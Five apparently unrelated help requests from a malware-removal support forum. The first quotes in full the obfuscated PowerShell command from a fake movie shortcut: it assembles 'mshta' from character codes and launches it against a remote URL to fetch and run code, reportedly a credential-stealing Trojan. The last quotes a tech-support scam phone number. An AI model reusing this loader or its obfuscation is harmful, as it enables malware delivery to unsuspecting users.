  1. I downloaded a movie, the file was about 1.7 gb, but when I clicked it, I immediately saw that it was a shortcut to something else. The file size went from 1.7 gb to about 2 kb. A pop-up window appeared, which I closed instantly. This line of code was in the shortcut: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $a1=[string][char[]]@(0x48,0x54,0x54,0x70) -replace ' ','';$da=[string][char[]]@(0x6d,0x73,0x68,0x74,0x61) -replace ' ','';Set-Alias uy $da;$a1+='://shortwww.xyz/hit';uy $a1 I have done some research, where people say it's a Trojan that logs keystrokes and credentials. So far im scanning with malware bytes, which removed some regedits to something called diagnostic task, but I'm not sure if that fixed it. Is this something I can save or do I need to reinstall windows? Best case would be to get some software that can detect and remove it. I did find a restore point to the day before it happened, and as I can see, the Trojan changes the registry, and system restore, restores the registry, so am I safe or?
  2. I updated my MbAM Premium to the version and chose to have a desktop shortcut. Now I want to exclude the shortcut, but it is impossible! A pop-up says that I need administrator rights in order to exclude it. I am the administrator!!! Please orient me on how can I exclude the shortcut? My O.S. is Windows 10 Home. Thank you.
  3. With the most recent update I also had Malwarebytes add a Desktop shortcut (I don't remember if that option was selected by default or I selected it). Today I tried deleting the shortcut but I get this error (oddly, the location it references is to Malwarebytes itself, not the Desktop shortcut; also it should be noted that I am on an Administrator account): Things I've tried (without success): - Putting in Recycle Bin. - Shift+Del permanent deletion. - Running cmd as an Administrator and attempting to delete through there. 1) The shortcut isn't even listed when you use 'dir'; 2) I tried deleting it anyway but it didn't do anything (because it couldn't be found). - Malwarebytes FileASSASSIN - Right-click > Properties > Security tab > tried changing owner, but I receive this error:
  4. I noticed one day that a lot of shortcuts were missing from my desktop and start menu, and that I couldn't get Malwarebytes Anti-Malware program to run; I even tried the 'Chameleon' executables. I have also noticed that there is a new program that runs on startup called ExpoThemes Manager. I followed the instructions in this post, and have attached my log files to this post: FRST.txt Addition.txt Shortcut.txt
  5. I have a problem that is not caught by MB: whenever I use keyboard shortcut "Control+Enter" to finish an URL address entry (for example, if I type in "zellow" at url address bar then "Control+Enter" should normally give me the complete ".com" url and get me to the zellow site), it would direct the Internet Explorer to a web page displaying "Window virus warning, contact emergency virus support now. 1-844-226-2344". This web page cannot be closed, and it keeps making a beeping sound. Suspecting this might be a scam, I rebooted my system, ran all the malware/anti-virus software I had and updated windows 7 with the latest updates. Making sure my computer was clean, I repeated entering url address such as "zellow" followed by "Ctrl+Enter", and found that the problem persisted. This time I used the Task manager to kill the process and restarted IE - this got rid of the annoying pop up and beeping virus warning. But then I can no longer use Ctrl+Enter as keyboard shortcut to complete url address entry which is annoying. How do I get rid of this problem of "Hijacked keyboard shortcut for url address bar"? Thanks in advance to any help I can get.
